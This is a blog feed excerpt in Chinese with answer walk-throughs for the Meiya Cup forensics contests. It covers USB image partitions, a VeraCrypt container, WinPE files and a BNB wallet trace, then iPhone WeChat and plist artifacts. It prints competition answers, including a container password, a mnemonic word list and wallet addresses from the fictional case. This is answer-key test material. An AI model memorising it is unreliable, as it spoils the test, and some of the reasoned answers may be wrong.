src="/blog/img/cnblogs/19382339/image-109-aa014eccbd.png"/></p><h3 id="78填空题题目内容见题目描述78-2分">78.[填空题]题目内容见题目描述（78） (2分)</h3><p>参考LEUNG_YL_USB.E01，这个U盘里的分区结构是什么？<br/>(请以英文大写作答)<br/>MBR<br/><img alt="assets/2025美亚线下个人Joyooo/file-20251201193941072.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-110-90a88ca3ad.png"/></p><h3 id="79-单选题-参考leung_yl_usbe01以下哪项描述是正确的i-u盘的总容量是16gbii-文件系统包括-fat32exfat-和-ntfsiii-exfat-分区的容量是-16gbiv-分区标签名是-sandisk">79. [单选题] 参考LEUNG_YL_USB.E01，以下哪项描述是正确的？（i) U盘的总容量是16GB；ii) 文件系统包括 FAT32、exFAT 和 NTFS；iii) exFAT 分区的容量是 16GB；iv) 分区标签名是 "SanDisk"）</h3><p>A. 只有 i) 和 ii)</p><p>B. 只有 i) 和 iii)</p><p>C. 只有 ii) 和 iv)</p><p>D. 以上皆非<br/><img alt="assets/2025美亚线下个人Joyooo/file-20251201194103084.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-111-d339d9bf6b.png"/><br/><img alt="assets/2025美亚线下个人Joyooo/file-20251201194128636.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-112-669a589eb8.png"/><br/><img alt="assets/2025美亚线下个人Joyooo/file-20251201194527734.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-113-67dbe48523.png"/><br/>可以看到两个分区的签名分别是：TIM和EFI<br/>也可以用ufs：<img alt="assets/2025美亚线下个人Joyooo/file-20251201195155608.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-114-fd37691e50.png"/><br/>label的话更直观<br/>D</p><h3 id="80-单选题-参考leung_yl_usbe01以下哪项描述是正确的i-此u盘曾连接到一台名为-pc-的电脑ii-u盘内存有一个已加密的压缩文件iii-已加密的压缩文件的创建日期系-2025-05-15">80. [单选题] 参考LEUNG_YL_USB.E01，以下哪项描述是正确的？（i) 此U盘曾连接到一台名为 "PC" 的电脑；ii) U盘内存有一个已加密的压缩文件；iii) 已加密的压缩文件的创建日期系 2025-05-15）</h3><p>A. 只有 ii)</p><p>B. 只有 iii)</p><p>C. 只有 ii) 和 iii)</p><p>D. 以上皆是<br/><img alt="assets/2025美亚线下个人Joyooo/file-20251201195525932.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-115-d60d83f1b9.png"/><br/>进来就看到一个绿色的加密压缩，基本没跑了<br/>时间也对的上<br/>C</p><h3 id="81填空题题目内容见题目描述81-3分上题该压缩文件的解压密码是多少请依照参赛材料中的原文作答注意区分大小写空格及符号">81.[填空题]题目内容见题目描述（81） (3分)上题，该压缩文件的解压密码是多少？(请依照参赛材料中的原文作答，注意区分大小写、空格及符号)</h3><p>54d#e(nm<br/>看到wepe有个密码<br/><img alt="assets/2025美亚线下个人Joyooo/file-20251201200546187.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-116-7d5745949a.png"/><br/>试一下<br/><img alt="assets/2025美亚线下个人Joyooo/file-20251201200700382.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-117-ddb5aa866b.png"/></p><h3 id="82-单选题-参考leung_yl_usbe01以下哪项描述是正确的i-这是一个可引导u盘ii-有一个分区标签名为-efiiii-卷标日期为-2025-05-15-utc-8iv-有一个分区的总容量小于-500-mb">82. [单选题] 参考LEUNG_YL_USB.E01，以下哪项描述是正确的？（i) 这是一个可引导U盘；ii) 有一个分区标签名为 "EFI"；iii) 卷标日期为 2025-05-15 (UTC +8)；iv) 有一个分区的总容量小于 500 MB）</h3><p>A. 只有 i)</p><p>B. 只有 i) 和 ii)</p><p>C. 只有 i), iii) 和 iv)</p><p>D. 以上皆是<br/>i.EFI分区中有boot<br/><img alt="assets/2025美亚线下个人Joyooo/file-20251201200949764.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-118-d83e46a63a.png"/><br/>所以是可以引导的<br/>ii.是对的,前面看到的<br/>iii.xwf里面看EFI分区的创建时间是对的：<img alt="assets/2025美亚线下个人Joyooo/file-20251201202804574.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-119-f2ce6112b6.png"/><br/>iiii.分区2的容量为350mb,所以也是对的<br/><img alt="assets/2025美亚线下个人Joyooo/file-20251201202934668.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-120-16de0244bb.png"/><br/>对于物理磁盘查看信息可以直接ctrl+f10看技术报告：<img alt="assets/2025美亚线下个人Joyooo/file-20251201204302046.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-121-9240c83b7f.png"/><br/><img alt="assets/2025美亚线下个人Joyooo/file-20251201204338173.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-122-bd465b982e.png"/><br/>也能看到上述多个信息<br/>D</p><h3 id="83填空题题目内容见题目描述83-2分tammytxt文件的内容是什么请依照参赛材料中的原文作答注意区分大小写空格及符号">83.[填空题]题目内容见题目描述（83） (2分)tammy.txt文件的内容是什么？(请依照参赛材料中的原文作答，注意区分大小写、空格及符号)</h3><p><img alt="assets/2025美亚线下个人Joyooo/file-20251201204435621.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-123-8e87536548.png"/><br/>看到有个wepe，解压挂载（目录形式）<br/><img alt="assets/2025美亚线下个人Joyooo/file-20251201205831966.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-124-b5fdbca3e0.png"/><br/>找到了<br/><img alt="assets/2025美亚线下个人Joyooo/file-20251201205851466.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-125-647c7a8187.png"/><br/>due_diligence</p><h3 id="84填空题题目内容见题目描述84-3分文件xcontainer的加密算法是什么请依照参赛材料中的原文作答注意区分大小写空格及符号">84.[填空题]题目内容见题目描述（84） (3分)文件“xcontainer”的加密算法是什么？(请依照参赛材料中的原文作答，注意区分大小写、空格及符号)</h3><p>AES(Twofish)<br/><img alt="assets/2025美亚线下个人Joyooo/file-20251201210702051.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-126-63875864b4.png"/><br/>key在u盘里随便看到的<br/><img alt="assets/2025美亚线下个人Joyooo/file-20251201210709960.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-127-9a5b9b4b22.png"/><br/>盘里看到一些东西：<br/><img alt="assets/2025美亚线下个人Joyooo/file-20251201211843707.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-128-587d277899.png"/><br/>1.一个助记词txt<br/>jelly<br/>pudding<br/>vibrant<br/>guitar<br/>enable<br/>creek<br/>harmony<br/>dragon<br/>olive<br/>sunset<br/>rookie<br/>fabric<br/>2.扫码得到：<br/>0x548dafDe4B17d7d3C9485E79B3B5018801C7855E</p><h3 id="85-单选题-分析文档-xcontainer-的属性关于此磁盘镜像以下哪项描述是正确的i-大小为-4943872-字节ii-文件系统是-fatiii-没有嵌入式备份头iv-块大小为-128-位">85. [单选题] 分析文档 "xcontainer" 的属性，关于此磁盘镜像，以下哪项描述是正确的？（i) 大小为 4943872 字节；ii) 文件系统是 FAT；iii) 没有嵌入式备份头；iv) 块大小为 128 位）</h3><p>A. 只有 i) 和 ii)</p><p>B. 只有 ii) 和 iv)</p><p>C. 只有 ii), iii) 和 iv)</p><p>D. 以上皆是<br/><img alt="assets/2025美亚线下个人Joyooo/file-20251201210804917.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-129-3441ce4c0a.png"/><br/>注意加密卷属性跟磁盘属性不一样<br/><img alt="assets/2025美亚线下个人Joyooo/file-20251201210841120.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-130-84f9b85b1f.png"/><br/>这个vc卷和磁盘的大小不一样：<br/>深入理解空间差异</p><ul><li><p><strong>VC卷（逻辑容量）</strong>：这通常指的是存储池（如LVM的卷组）<strong>允许</strong>这个卷（逻辑卷）使用的<strong>最大潜在空间</strong>。它代表的是一个<strong>容量上限</strong>。</p></li><li><p><strong>挂载后磁盘（物理可用）</strong>：这是在操作系统中挂载并创建文件系统后，<strong>实际可用来存储文件和数据的空间</strong>。这个大小等于VC卷的大小，<strong>减去</strong>文件系统元数据、分区表等各类<strong>系统管理开销</strong>。<br/>B</p></li></ul><h3 id="86-单选题-winpe-启动后系统会自动将核心映像挂载在哪个虚拟机">86. [单选题] WinPE 启动后，系统会自动将核心映像挂载在哪个虚拟机？</h3><p>A. C:\</p><p>B. D:\</p><p>C. X:\</p><p>D. Z:<br/>看来这里是需要挂来试一下了<br/>管理员身份打开vm<br/><img alt="assets/2025美亚线下个人Joyooo/file-20251201212449549.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-131-66aa9d6f03.png"/><br/><img alt="assets/2025美亚线下个人Joyooo/file-20251201212501368.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-132-2d6f3bfa26.png"/><br/><img alt="assets/2025美亚线下个人Joyooo/file-20251201212514205.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-133-c454dc4d17.png"/><br/><img alt="assets/2025美亚线下个人Joyooo/file-20251201212532276.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-134-478e60caa0.png"/></p><p><img alt="assets/2025美亚线下个人Joyooo/file-20251201212603757.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-135-6424edd8b4.png"/><br/><img alt="assets/2025美亚线下个人Joyooo/file-20251201212612532.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-136-aef44be6c1.png"/><br/>右键windows看到磁盘管理：<br/><img alt="assets/2025美亚线下个人Joyooo/file-20251202081020596.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-137-06e4a3c74a.png"/><br/>下面可以看到磁盘四是我们新挂的<br/>所以选4，<strong>进去后看到</strong><br/><img alt="assets/2025美亚线下个人Joyooo/file-20251202082628885.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-138-e96f2f7d50.png"/><br/>忘开写入了：<br/><img alt="assets/2025美亚线下个人Joyooo/file-20251202084818999.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-139-22e9d64762.png"/><br/>然后进去就正常了<br/><img alt="assets/2025美亚线下个人Joyooo/file-20251202085046700.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-140-966586d703.png"/><br/>进去可以看到wepe是挂在X盘</p><h3 id="87-单选题-下列哪些-windows-pe-指令在预设环境下无法执行i-powershellii-eventvwriii-hostnameiv-diskpart">87. [单选题] 下列哪些 Windows PE 指令在预设环境下无法执行？（i) Powershell；ii) Eventvwr；iii) Hostname；iv) Diskpart）</h3><p>A. 只有 i) 和 ii)</p><p>B. 只有 iii) 和 iv)</p><p>C. 只有 i), ii) 和 iii)</p><p>D. 以上皆是</p><ul><li><p><strong>分析每个指令</strong>：</p><ul><li><p><strong>i) Powershell</strong>：PowerShell 需要完整的 .NET Framework 和额外组件，在 Windows PE 预设环境中通常不包含，因此无法执行。</p></li><li><p><strong>ii) Eventvwr</strong>：事件查看器（Eventvwr）是一个图形化工具，依赖 Windows 事件日志服务，Windows PE 作为最小环境不包含此类服务，因此无法执行。</p></li><li><p><strong>iii) Hostname</strong>：Hostname 是一个基本的命令行工具，用于显示计算机名称，Windows PE 预设环境通常包含此类核心网络命令，因此可以执行。</p></li><li><p><strong>iv) Diskpart</strong>：Diskpart 是磁盘分区工具，常用于系统部署和恢复，是 Windows PE 的核心组件之一，因此可以执行。</p></li></ul></li><li><p><strong>结论</strong>：无法执行的指令是 Powershell 和 Eventvwr，对应选项 A。<br/>A</p></li></ul><h3 id="88-单选题-必须包含哪个文件才能启动-windows-pe环境">88. [单选题] 必须包含哪个文件，才能启动 Windows PE环境？</h3><p>A. WEPE64.wim</p><p>B. install.wim</p><p>C. WinPE.log</p><p>D. hiberfil.sys</p><ul><li><p><strong>Windows PE（Preinstallation Environment）</strong>​ 是一个轻量级的操作系统环境，用于系统部署、故障排除和恢复。它的启动依赖于一个核心的镜像文件，该文件通常采用 .wim 格式（Windows Imaging Format）。</p></li><li><p><strong>分析每个选项</strong>：</p><ul><li><p><strong>A. WEPE64.wim</strong>：这是微PE（如“微PE工具箱”等定制版本）环境的标准启动镜像文件，包含 Windows PE 的核心系统和必要组件，是启动所必需的文件。</p></li><li><p><strong>B. install.wim</strong>：这是 Windows 操作系统安装镜像文件，用于完整系统的安装，而非启动 Windows PE 环境。</p></li><li><p><strong>C. WinPE.log</strong>：这是一个日志文件，用于记录 Windows PE 的启动和运行信息，但不是启动所必需的文件。</p></li><li><p><strong>D. hiberfil.sys</strong>：这是 Windows 系统的休眠文件，用于保存休眠状态，与 Windows PE 启动无关。</p></li></ul></li><li><p><strong>结论</strong>：只有 WEPE64.wim 是启动 Windows PE 环境所必须包含的核心文件，因此正确选项是 A。</p></li><li><p>在R-Studio可以看到这个文件，这是存储的分区映像文件</p><p>A</p></li></ul><h3 id="89-单选题-若要判断一个u盘是否为可开机的windows-pe以下哪些文件必须存在i-wepe64wim-或-bootwimii-bootmgriii-efibootbootx64efiiv-hiberfilsys">89. [单选题] 若要判断一个U盘是否为可开机的Windows PE，以下哪些文件必须存在？（i) WEPE64.wim 或 boot.wim；ii) bootmgr；iii) EFI\Boot\bootx64.efi；iv) hiberfil.sys）</h3><p>A. 只有 ii 和 iv</p><p>B. 只有 i), ii) 和 iii)</p><p>C. 只有 i) 和 iv)</p><p>D. 以上皆是</p><ul><li><p><strong>分析每个文件</strong>：</p><ul><li><p><strong>i) WEPE64.wim 或 boot.wim</strong>：这是Windows PE的核心镜像文件，包含操作系统的基本组件，没有它就无法加载Windows PE环境，因此必须存在。</p></li><li><p><strong>ii) bootmgr</strong>：这是Windows启动管理器，负责引导过程，是启动链中的关键文件，必须存在。</p></li><li><p><strong>iii) EFI\Boot\bootx64.efi</strong>：这是用于UEFI启动模式的引导文件，现代电脑大多采用UEFI启动，因此这个文件也必须存在以确保兼容性。</p></li><li><p><strong>iv) hiberfil.sys</strong>：这是Windows休眠文件，用于保存系统休眠状态，Windows PE环境不支持休眠功能，因此这个文件不是必须的。</p></li></ul></li><li><p><strong>结论</strong>：必须存在的文件是i)、ii)和iii)，对应选项B。<br/>B</p></li></ul><h3 id="90-单选题-这个-winpe-u盘的操作环境-operating-environment-是基于哪一个-windows-版本">90. [单选题] 这个 WinPE U盘的操作环境 (Operating Environment) 是基于哪一个 Windows 版本？</h3><p>A. Windows 7</p><p>B. Windows 8.1</p><p>C. Windows 10 PE</p><p>D. Windows 11 PE<br/><img alt="assets/2025美亚线下个人Joyooo/file-20251202090016262.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-141-2363ad8557.png"/><br/>在控制面板能看，搭的时候也使用的win10，<br/>就是不知道搭之前要怎么看</p><h3 id="91填空题题目内容见题目描述91-3分">91.[填空题]题目内容见题目描述（91） (3分)</h3><p>根据你综合多项通讯软件的对话记录，浏览记录及资料分析，发现冯子超、陈民浩伙同女子梁燕玲共同做了一宗涉及加密货币投资的诈骗案件，因东窗事发打算携赃而逃。女子梁燕玲负责处理有关清洗黑钱事项，警察相信梁燕玲携带同相关材料逃跑，请你运用电子数据鉴定技巧寻找与加密货币相关的材料，尽快启动冻结程序。<br/>参考LEUNG_YL_USB.E01，该U盘盘有一个加密的文件，该文件所用的加密软件名称是?<br/>(只需回答软件名称，不需要回答软件版本，(请依照参赛材料中的原文作答，注意区分大小写、空格及符号)</p><p>veracrypt<br/> 前面刚挂了一个vc容器</p><h3 id="92填空题题目内容见题目描述92-3分参考leung_yl_usbe01请列出与iq-coin有关的虚拟钱包的地址请依照参赛材料中的原文作答注意区分大小写空格及符号">92.[填空题]题目内容见题目描述（92） (3分)参考LEUNG_YL_USB.E01，请列出与IQ Coin有关的虚拟钱包的地址(请依照参赛材料中的原文作答，注意区分大小写、空格及符号)</h3><p>如84题，vc里的图片扫码可得<br/>0x548dafDe4B17d7d3C9485E79B3B5018801C7855E</p><h3 id="93填空题题目内容见题目描述93-3分承上题这个钱包属于哪一种加密货币请以英文大写作答">93.[填空题]题目内容见题目描述（93） (3分)承上题，这个钱包属于哪一种加密货币(请以英文大写作答)</h3><p><img alt="assets/2025美亚线下个人Joyooo/file-20251202092033980.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-142-19e136d40c.png"/><br/>何意味...我将养成良好的密码积累习惯<br/>解开以后是两张截图<br/><img alt="assets/2025美亚线下个人Joyooo/file-20251202092709250.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-143-46d93b3056.png"/><br/>BNB</p><h3 id="94填空题题目内容见题目描述94-3分承上题这个钱包总共有多少次存入记录请以阿拉伯数字作答">94.[填空题]题目内容见题目描述（94） (3分)承上题，这个钱包总共有多少次存入记录？(请以阿拉伯数字作答)</h3><p><a href="https://bscscan.com/advanced-filter?txntype=2&amp;tadd=0x55efd2653e66b70f008ffaa18df252644fb5c85b" rel="noopener nofollow" target="_blank">https://bscscan.com/advanced-filter?txntype=2&amp;tadd=0x55efd2653e66b70f008ffaa18df252644fb5c85b</a><br/>根据截图信息登录到网站上<br/><img alt="assets/2025美亚线下个人Joyooo/file-20251202094831928.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-144-fa7f3401fe.png"/><br/>在to列过滤<br/>只有一条<br/>1</p><h3 id="95填空题题目内容见题目描述95-3分承上题存入款项的支账地址是什么请依照参赛材料中的原文作答注意区分大小写空格及符号">95.[填空题]题目内容见题目描述（95） (3分)承上题，存入款项的支账地址是什么？(请依照参赛材料中的原文作答，注意区分大小写、空格及符号)</h3><p>0x6144ACfdf84bbEC6bccB310516A89D4b3ee48c1A<br/>0x6144Acfd...b3ee48c1A</p><h3 id="96填空题题目内容见题目描述96-3分承上题这项交易传送了多少bep-20-iq-coin请以阿拉伯数字依照参赛材料中的原文作答注意区分大小写空格及符号和不用标点符号-">96.[填空题]题目内容见题目描述（96） (3分)承上题，这项交易传送了多少BEP-20 IQ Coin?(请以阿拉伯数字依照参赛材料中的原文作答，注意区分大小写、空格及符号和不用标点符号 )</h3><p>在最近一笔交易（2025-05-02 10:01:30）中，"Amount"字段明确显示转账金额为 <strong>1,000,000,000 IQCoin</strong>。根据题目要求去除逗号后，答案为 <code>1000000000</code>。<br/>1000000000</p><h3 id="97-判断题-助记词是由加密货币钱包生成的一系列单词帮助用户恢复其私钥助记词通常由12到24个单词组成">97. [判断题] 助记词是由加密货币钱包生成的一系列单词，帮助用户恢复其私钥，助记词通常由12到24个单词组成</h3><p>A. 正确</p><p>B. 错误<br/>A<br/>常识题<br/>BIP-39 助记词可以由 3 - 24 个单词组成, 但小于 12 个单词的助记词熵低且易被爆破攻击. 在 BIP-39 Standalone 中如果试图生成小于 12 个单词的助记词, 则会受到警告: <code>Mnemonics with less than 12 words have low entropy and may be guessed by an attacker.</code></p><h3 id="98填空题题目内容见题目描述98-3分根据你的信息警察查知这个加密钱包涉及近期一宗巨额诈骗案请你查出这个钱包余额额度警察将会进行冻结程序请指出包含有疑似助记词的文件的希哈值md5格式请以阿拉伯数字和英文大写作答">98.[填空题]题目内容见题目描述（98） (3分)根据你的信息警察查知这个加密钱包涉及近期一宗巨额诈骗案，请你查出这个钱包余额额度，警察将会进行冻结程序请指出包含有疑似助记词的文件的希哈值(MD5格式)(请以阿拉伯数字和英文大写作答)</h3><p>这个也是84题vc里面的有的<br/><img alt="assets/2025美亚线下个人Joyooo/file-20251202091949949.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-145-00ecaca2f5.png"/><br/>183b8e0c6365fee834479269141a3f91</p></div>]]>
    </content>
    <id>https://joyooosama.github.io/blog/2025/12/22/2025-12-22-cnblogs-19382339-2025%E7%BE%8E%E4%BA%9A%E7%BA%BF%E4%B8%8B%E4%B8%AA%E4%BA%BAJoyooo/</id>
    <link href="https://joyooosama.github.io/blog/2025/12/22/2025-12-22-cnblogs-19382339-2025%E7%BE%8E%E4%BA%9A%E7%BA%BF%E4%B8%8B%E4%B8%AA%E4%BA%BAJoyooo/"/>
    <published>2025-12-22T06:43:00.000Z</published>
    <summary>参考了几位大佬的wp复盘，佬们太强力！(☆▽☆) “美亚杯”第十一届中国电子数据取证大赛个人赛（线上）选择题整理 一、基础信息与附件 比赛名称：“美亚杯”第十一届中国电子数据取证大赛个人赛(线上) 比赛规模：共1个段落，98个小题，总共182分 本阶段附件：Containerpwd.txt（可下载）</summary>
    <title>2025美亚线下个人Joyooo</title>
    <updated>2025-12-22T06:59:00.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>Joyooo</name>
    </author>
    <category term="取证" scheme="https://joyooosama.github.io/blog/categories/%E5%8F%96%E8%AF%81/"/>
    <category term="取证" scheme="https://joyooosama.github.io/blog/tags/%E5%8F%96%E8%AF%81/"/>
    <category term="CTF" scheme="https://joyooosama.github.io/blog/tags/CTF/"/>
    <category term="逆向" scheme="https://joyooosama.github.io/blog/tags/%E9%80%86%E5%90%91/"/>
    <content>
      <![CDATA[<div class="blogpost-body cnblogs-markdown" id="cnblogs_post_body"><p>Joyooo复盘</p><h2 id="手机取证emma1-根据-emma_mobilezipemma-和-clara-的微信聊天记录emma-最后到警署报案并拍摄写有报案编号的卡片拍摄时的经纬值是多少a-22451721666667-114171853333333b-22451553333333-114172845c-22451928333333-114170503333333d-22451638333333-11416993">手机取证（Emma）1: 根据 Emma_Mobile.zip，Emma 和 Clara 的微信聊天记录，Emma 最后到警署报案并拍摄写有报案编号的卡片，拍摄时的经纬值是多少？A. 22.451721666667, 114.171853333333；B. 22.451553333333, 114.172845；C. 22.451928333333, 114.170503333333；D. 22.451638333333, 114.16993</h2><p><img alt="assets/2024美亚杯个人赛Joyooo/file-20250730141459337.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-001-6edb6a6ace.png"/><br/>火眼直接分析不出来，直接去翻微信存放聊天文件的数据库<br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250730141616658.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-002-e5b13484b9.png"/><br/>message_2.sqlite里面看到了对话，<br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250730141706337.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-003-b7f456b9e9.png"/><br/>最后这可能是图像仔细看一下啊<br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250730142339772.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-004-e55aa4c616.png"/><br/><code>&lt;![CDATA[F58B98FE-8010-44B7-8BF7-F23AF15DCFCA/L0/001]&gt;</code><br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250730142512020.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-005-d66e59dc4b.png"/><br/>cdata部分指向了一个UUID，于是我们根据这个id直接搜索<br/>我的navicat打不开数据库文件，于是我把photo.sqlite数据库文件通过db browser导出程sql文件（文本），再文本搜索可以得到<br/>后面发现直接navicat打开也没问题的<br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250730170448443.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-006-429fa22e62.png"/><br/>其中有这张图片在表的名字zasset，去火眼里面看<br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250730170403209.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-007-c9827b5d90.png"/><br/>搜索uuid<br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250730170626290.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-008-68c2567263.png"/><br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250730171228457.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-009-d3202556d3.png"/><br/>翻译下发现是经纬度，找到对应的<br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250730171511404.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-010-4d4b9f30b8.png"/><br/>A最接近选A</p><h2 id="手机取证emma2-根据-emma_mobilezip2024-年-8-月-30-日下午两点后-emma-共致电-clara-多少次a-85b-86c-87d-88">手机取证（Emma）2: 根据 Emma_Mobile.zip，2024 年 8 月 30 日下午两点后 Emma 共致电 Clara 多少次？A. 85；B. 86；C. 87；D. 88</h2><p>在先前导出的数据库文件里找到一个<br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250730172602430.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-011-6c67ff886f.png"/><br/>navicat打开<br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250730172628787.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-012-fe29f2a447.png"/></p><p>时间和戳换算一下<br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250730172532163.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-013-021f292a91.png"/><br/>筛选一下，不太对，一般时间戳都是17开头啊，问问ai，是cocoa时间戳，核心数据时间戳是自 <strong>2001 年 1 月 1 日</strong>午夜 GMT 以来的秒数（或纳秒）（参见 <a href="https://developer.apple.com/documentation/corefoundation/cfabsolutetime" rel="noopener nofollow" target="_blank">CFAbsoluteTime</a>）。<br/>核心数据时间戳和 Unix 时间戳（自 1970 年 1 月 1 日以来的秒数）之间的差异为 978307200 秒。</p><p><img alt="assets/2024美亚杯个人赛Joyooo/file-20250730174300153.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-014-6bca458b92.png"/><br/>那么对应的时间就是：1724997600-978307200=746690400，且可以看到大多数电话都是这个63791704打的<br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250730175557757.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-015-b7b20c513f.png"/><br/>所以筛选一下<img alt="assets/2024美亚杯个人赛Joyooo/file-20250730181337985.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-016-50452494a6.png"/></p><pre><code>SELECT COUNT(*) FROM "ZCALLRECORD" WHERE ZDATE &gt;= '746690400' AND ZADDRESS = '63791704';</code></pre><p>得到88</p><h2 id="手机取证emma3-根据-emma-和-clara-的微信聊天记录clara-失踪前曾告诉-emma-会到哪里a-到酒店和丈夫-david-庆祝结婚周年b-吃自助餐c-约了朋友见面d-去旅行">手机取证（Emma）3: 根据 Emma 和 Clara 的微信聊天记录，Clara 失踪前曾告诉 Emma 会到哪里？A. 到酒店和丈夫 David 庆祝结婚周年；B. 吃自助餐；C. 约了朋友见面；D. 去旅行</h2><p>A<br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250730181503885.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-017-0c5087d952.png"/></p><h2 id="手机取证emma4-参考-emma_mobilezipemma-的-iphone-xr-内微信应用程序的版本是多少">手机取证（Emma）4: 参考 Emma_Mobile.zip，Emma 的 iPhone XR 内微信应用程序的版本是多少？</h2><p><img alt="assets/2024美亚杯个人赛Joyooo/file-20250730182751027.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-018-60355acfb0.png"/><br/>看到了内部版本号，查一下对应关系<br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250730182741674.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-019-811745d76d.png"/><br/>是8.0.47<br/>对下答案发现不读对，只好借鉴一下：<br/>在Manifest.plist中会记录安装应用的版本<br/>我们去找下，导出该文件，用plist editor打开<br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250730185513912.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-020-f42082bd1f.png"/><br/>搜索到第一个就有版本<br/>8.0.50</p><h2 id="手机取证emma5-参考-emma_mobilezipemma-手机中下列哪个选项是正确的a-ios-版本为-1761b-imei-为-356414106484705c-apple-id-为-emma1761gmailcomd-手机曾经安装-metamask-应用程式">手机取证（Emma）5: 参考 Emma_Mobile.zip，Emma 手机中下列哪个选项是正确的？A. iOS 版本为 17.6.1；B. IMEI 为 356414106484705；C. Apple ID 为 Emma1761@gmail.com；D. 手机曾经安装 Metamask 应用程式</h2><p>在Manifest.plist直接看到是安装过的<br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250731085904864.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-021-666cdf1da5.png"/><br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250731085952341.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-022-03819471c1.png"/><br/>在另外两个plist文件里可排除另外三项</p><h2 id="plist文件主要作用">plist文件主要作用</h2><p><img alt="assets/2024美亚杯个人赛Joyooo/file-20250731090041411.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-023-19e2635a8c.png"/><br/>PLIST 文件是一个特殊的文本文件，其中包含 属性列表格式 的数据。 macOS、iOS 和 iPadOS 应用程序使用该文件以具有XML结构的键值格式<strong>存储设置和其他数据</strong>。 例如，每个 iPhone 应用程序都至少包含一个名为 Info.plist 的 PLIST 文件，其中包含应用程序的基本配置信息。</p><h2 id="手机取证emma6-参考-emma_mobilezipemma-手机中-apple-id-的注册电子邮箱是多少">手机取证（Emma）6: 参考 Emma_Mobile.zip，Emma 手机中 Apple ID 的注册电子邮箱是多少？</h2><p><img alt="assets/2024美亚杯个人赛Joyooo/file-20250731092406683.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-024-cb0fbfa243.png"/><br/>翻得时候看到了个xml文件，搜了一下是包含XML标签和加密密钥<br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250731102453448.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-025-73a90d600e.png"/><br/>Apple ID可以搜索“cloudkit”和“idsa”，这里找到一个<img alt="assets/2024美亚杯个人赛Joyooo/file-20250731102802736.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-026-807989b981.png"/><br/>关键字都有基本可以确定，不过怎么看不知道，待解决</p><h2 id="手机取证emma7-参考-emma_mobilezip在-2024-年emma-手机上曾记录的电话卡集成电路卡标识符-iccid-是多少只需阿拉伯数字">手机取证（Emma）7: 参考 Emma_Mobile.zip，在 2024 年，Emma 手机上曾记录的电话卡集成电路卡标识符 (ICCID) 是多少？（只需阿拉伯数字）</h2><p><img 